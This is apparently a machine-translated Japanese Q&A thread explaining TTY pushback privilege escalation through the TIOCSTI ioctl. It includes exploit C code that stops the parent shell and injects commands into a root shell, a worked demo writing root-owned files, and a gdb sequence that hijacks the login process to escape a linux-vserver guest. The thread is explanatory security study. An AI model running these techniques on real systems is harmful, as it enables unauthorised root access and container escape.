TTYプッシュバックをよりよく理解しようとしています(正しい用語を使用していると想定しています)。
調査を通じて私が決定できることから、ttyプッシュバックは、本質的に、ユーザーがrootコマンドに対して「プッシュバック」と言うようにユーザーを許可し、ルート権限を取得できるということです: 私が知っていることを説明するリンク遠く
シナリオでは、ルートユーザーが別のユーザーとしてアプリケーションを実行して、侵害された場合に直接ルートシェルを回避しようとする可能性があります。 su -l www-data -c randomapplication
上記のリンクを読むと、いくつかのことがわかりますが、それらについては理解できません(下記)。 gdbはどのように使用されているのですか?この特定のエクスプロイトの代替手段はありますか?
この投稿の一般的なポイントは、ttyプッシュバックの詳細な説明と、それがどのように正確に機能し、どのように利用するかです。
cat <<EOF > /x
#!/bin/bash
exec /TtyPushbackSignalin --NoSignal -- \$'\ntouch /xxx-outside\nstty sane'
EOF
chmod 0755 /x
gdb --pid [pid of login process]
(gdb) set *0x8051000=0x7880cd
(gdb) set *0x8051004=0x8051002
(gdb) set *0x8051008=0
(gdb) set $eax=0x0b
(gdb) set $ebx=0x8051002
(gdb) set $ecx=0x8051004
(gdb) set $edx=0x8051008
(gdb) set $eip=0x8051000
(gdb) quit
OK、これは完全な答えではないので、私は報奨金が期限切れになるのを待って日和見的ではないと思われるようにしました。脆弱性のlinux-vserver
部分を複製できません(主に2.6カーネルが必要で、上記のアセンブリではホストとゲストマシンの両方が32ビットモードである必要があるため)。私は基本的な脆弱性のみを複製でき、残りはどのように機能するかを説明します。ここに行く:
TIOCSTI
ioctlは、man 4 tty_ioctl
からの偽の入力を可能にする難解なIOコントロールです
Faking input
TIOCSTI const char *argp
Insert the given byte in the input queue.
したがって、プログラムで、TTY(または、最近のシステムではPTY、つまり疑似端末)の入力キューにバイトを入れることができます。
これで、TTYが特権が制限されているプロセスと昇格された特権を持つプロセス(ルートシェルなど)で共有されている場合、キューを制限されたシェルから昇格された特権シェルに空にすることができる場合があります。これは halfdogのサンプルコードサンプル によって実行されますが、知っておく必要がある追加の事項が1つあります。それは、シェルがSIGSTOP
信号を処理する方法です。そこで迂回します。
SIGSTOPはSIGTSTPとまったく同じように扱われ( SO質問 を参照))、SIGTSTPはほとんどすべての端末で実行されます。 Ctrl+Z。簡単な例は次のとおりです。
]$ less /etc/group # And hit Ctrl+Z
[1]+ Stopped(SIGTSTP) less /etc/group
]$ fg # fg sends SIGCONT, and we are back inside less
ただし、シェルはSIGTSTPを無視します。たとえば、
]# su - grochmal
]$ # Ctrl+Z does not do anything in here
]$ exit
logout
]# # back into a root Shell
シェルはSIGSTOPを無視しませんが、SIGSTOPを受け取ったシェルは最初にすべての子にSIGSTOPをリレーし、その後待機します。これは、プロセスがシェルの停止(またはシェルの終了)に耐えるためにNohup
コマンドを使用する必要がある理由でもあります。うーん...しかし、Nohup
はシェルが停止してもプロセスを存続させることができるため、同様のシグナルハンドラーを実装するプロセスの1つを停止できます。
さらに、シェルが停止した後にプロセスを実行したままにできる場合、次にバイトをTTY入力に挿入します。これらのバイトを受信するのはルートシェルです!
サンプルコードはそれを正確に行い、最初にシグナルハンドラを準備します:
sigAction.sa_sigaction=handleSignal;
sigfillset(&sigAction.sa_mask);
sigAction.sa_flags=SA_SIGINFO;
sigAction.sa_restorer=NULL;
sigaction(SIGSTOP, &sigAction, NULL);
そして、SIGSTOPをその親(非特権シェル)に送信します。
if (sendSignalFlag) kill(getppid(), SIGSTOP);
次に、--
の後の引数からすべてのバイトをTTY入力にプッシュします。
pushbackLength=strlen(pushbackString)+1;
for(pushbackPos=0; pushbackPos<pushbackLength; pushbackPos++) {
result=ioctl(0, TIOCSTI,
pushbackPos+1!=pushbackLength?pushbackString+pushbackPos:"\n");
if(result) {
fprintf(stderr, "Pushback failed, result %d, error %d (%s)\n",
result, errno, strerror(errno));
return(1);
}
}
そして、それだけです。唯一の追加のトリックは、次の例で説明する$''
構文です。
ルートシェルから始めて、su -
を実行して、ささいなプッシュバックを作成してみましょう。
]# ls /
bin boot dev etc home lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var
]# su - grochmal
]$ wget http://www.halfdog.net/Security/2012/TtyPushbackPrivilegeEscalation/TtyPushbackSignaling.c
]$ gcc -o ttyp TtyPushbackSignaling.c
TtyPushbackSignaling.c: In function ‘main’:
TtyPushbackSignaling.c:83:28: warning: implicit declaration of function ‘getppid’ [-Wimplicit-function-declaration]
if (sendSignalFlag) kill(getppid(), SIGSTOP);
それは結構です、#include <unistd.h>
を追加するのを忘れただけです。そして今、プッシュバック:
]$ echo yay >/yay
-bash: /yay: Permission denied
]$ ./ttyp -- $'echo yay >/yay\necho nay >/nay\n'
echo yay >/yay
echo nay >/nay
[1]+ Stopped su - grochmal
]# echo yay >/yay
]# echo nay >/nay
]# # here I regain control of the Shell
]# jobs
[1]+ Stopped su - grochmal
]# ls /
bin boot dev etc home lib lib64 lost+found media mnt nay opt proc root run sbin srv sys tmp usr var yay
ユーザーgrochmal
として/yay
に書き込むことはできませんが、echo
を入力キューにプッシュして、ルートシェルに強制的に実行させると、ルート権限で実行されます。 ./ttyp
呼び出しでは、$''
シェル構文を使用して、\n
文字を、2つの文字\
およびn
ではなく、改行(0x0a)として埋め込むことができます。
]$ echo 'yay\nyay'
yay\nyay
]$ echo $'yay\nyay'
yay
yay
(これを複製することはできません、それがどのように機能するかについてのみ議論できます)
今あなたの質問のトリッキーなビット、すなわちこれが来ます:
cat <<EOF > /x
#!/bin/bash
exec /TtyPushbackSignalin --NoSignal -- \$'\ntouch /xxx-outside\nstty sane'
EOF
chmod 0755 /x
gdb --pid [pid of login process]
(gdb) set *0x8051000=0x7880cd
(gdb) set *0x8051004=0x8051002
(gdb) set *0x8051008=0
(gdb) set $eax=0x0b
(gdb) set $ebx=0x8051002
(gdb) set $ecx=0x8051004
(gdb) set $edx=0x8051008
(gdb) set $eip=0x8051000
(gdb) quit
これは、仮想化エンジン(この場合はlinux-vserver
)がホストとゲストマシン間でTTYを共有することを期待しています。つまり、特権を通常のユーザーからrootにエスカレートするのではなく、仮想マシンのrootからホストマシンのrootにエスカレートします。
最初の部分は、上記の簡単な例とそれほど異なりません。 /x
という名前のスクリプトを作成し、その中からプッシュバックコードを呼び出します。唯一の違いは次のとおりです。
--NoSignal
を使用します(コード内のフラグを制御します)。exec
に渡す必要があるため、$
(\$
)をエスケープする必要がありますつまり、実行可能なスクリプト(/x
)があります(chmod 755
)。ログオフ時にそのスクリプトを強制的に呼び出すことができた場合(およびTTYが共有されている場合)、勝ちます。ログオフは、login
プロセスを起動してTTYを返すことで実行されることがわかっています。
注:今日のほとんどのLinuxシステムは、単純なlogin
ではなくsystemd-login
を使用します。
ログインプロセスはSIGCONTを待機しており(停止したプロセスと同様)、そのメモリは仮想マシンのルートによって所有されています。そのメモリを所有しているので、プロセスを破壊することにより、プロセスを必要なものに実行させることができます。それがGDBがそこで行っていることです。その抜粋のレジスタ名に基づいて、リトルエンディアンでワードサイズが32ビット(4バイト)のi386 Intel CPUで実行されていることがわかります。そのGDB部分を、完全な単語を使用する同等のものに書き換えることができます(GDBはとにかく完全な単語を使用します。以下はより明確です):
gdb --pid [pid of login process]
(gdb) set *0x8051000=0x007880cd
(gdb) set *0x8051004=0x08051002
(gdb) set *0x8051008=0x00000000
(gdb) set $eax=0x0000000b
(gdb) set $ebx=0x08051002
(gdb) set $ecx=0x08051004
(gdb) set $edx=0x08051008
(gdb) set $eip=0x08051000
(gdb) quit
EIP
を上書きして、メモリ内の場所を指す命令ポインタを0x007880cd
で上書きします。 cd
は、1バイトを引数としてとるOPCODEであるため、インテルアセンブリーでcd80
または単にint 0x80
の演算として読み取ることができます(これはリトルエンディアンであることに注意してください)。
int 80
は、x86(i386)Intelでsyscall
を実行する割り込みです。割り込み番号は、0x0b
で上書きしたEAX
レジスタから取得されます。 Linuxカーネルヘッダー、つまりx86/include/generated/asm/syscalls_32.h
でその割り込み番号を確認できます。それは偶然です:
#ifdef CONFIG_X86_32
__SYSCALL_I386(11, sys_execve, )
#else
__SYSCALL_I386(11, compat_sys_execve, )
#endif
そう、そう、それが目覚めたら、ログインプロセスはsys_execve
システムコールを実行します。ただし、man 2 execve
によると、システムコールには引数があります。
int execve(const char *filename, char *const argv[], char *const envp[]);
すべての(ほとんどすべての)システムコールには3つの引数があり、それらはEBX
、ECX
、およびEDX
レジスタから取得されます。
EBX
には0x08051002
が含まれます。これは、0x08051002
に設定した0x007880cd
の2バイト後です。これがリトルエンディアンマシンであることを思い出せば、0x08051002
の後の最初の2バイトは0x0078
であることがわかります。これはconst char *
として解釈されるため、文字x
(0x78)および文字列ターミネーター\0
(0x00)です。
ECX
は、ポインタのポインタであるconst char **
にする必要があります(syscallのためにnullで終了します)。 x86 Intelでは、ポインターは4バイト長です。 ECX
を0x08051004
に設定します。最初の4バイトには0x08051002
が含まれます。これは文字列"x"
へのポインターです(覚えていますか?EBX
の内容です)。次の4バイト(0x08051004
)には、ポインターのポインターを終了させるゼロのみが含まれています。
EDX
には、0x08051008
が含まれ、これは(const char **
として)4バイトのゼロを指します。つまり、null引数を意味します。
したがって、プレーンCでは、呼び出しは次のように書くことができます。
const char *x = "x";
const char **ar = { x, 0 };
execve(x, ar, ar[1]);
Syscallのいくつかの引数にメモリの場所を再利用するこの手法は、シェルコードで非常に一般的です。これは、サイズが小さくなるためです。
ハーフドッグの人たちはNXとASLRについても言及していますが、理由はわかりません。攻撃者がスタックを上書きできるだけであるか、プロセスの特定のインスタンスを分析できない場合(スタックの開始がランダム化されているため)、NXおよびASLRはバッファオーバーフローから保護します。
[〜#〜] nx [〜#〜]スタックからのアセンブリの実行を防ぎます。しかし、スタックについては気にしません。実行可能な命令を含むことが許可されているメモリの一部である現在のEIP
の隣のメモリを破壊する可能性があります。
[〜#〜] aslr [〜#〜]は、メモリ内のスタック位置の開始をランダム化します。これにより、バッファオーバーフローがどこにあるかを知ることができなくなります。 lib-exec
(ハーフドッグで言及)のバウンスによってそれを克服することを可能にする脆弱性がここにありましたが、それはかなりどこでもかなり修正されました。
GDBと/proc/<PID>/stat
を使用して現在のEIP
、 (関連するSO質問 を参照)を検索し、0x8051000
ではなくそれに近いメモリを破損することで、両方を無効にすることができます。
この脆弱性は、破損したexecve
プロセスからlogin
呼び出しを実行しました。このexecve
は、TTY入力キューにバイトをプッシュするスクリプトを開始しました。このスクリプトは、ホストマシンシェルによって読み取られました。
私が持っていたものにはこれを複製できませんでした。ハーフドッグと同様の環境(カーネル2.6、x86 Intel、linux-vserver、代わりにx86_64、カーネル3.16および4.7、Xen)を使用しなかったことを認めます。バグがあるのは、execve
呼び出しがスクリプトを見つける方法です(これがレプリケーションの主な問題です)、linux-vserverはホストシェルをゲストマシンの/
ファイルシステムに残していると思います(man 7 path_resolution
を参照)。それにもかかわらず、これが多かれ少なかれこれがどのように機能するかが明確になることを願っています。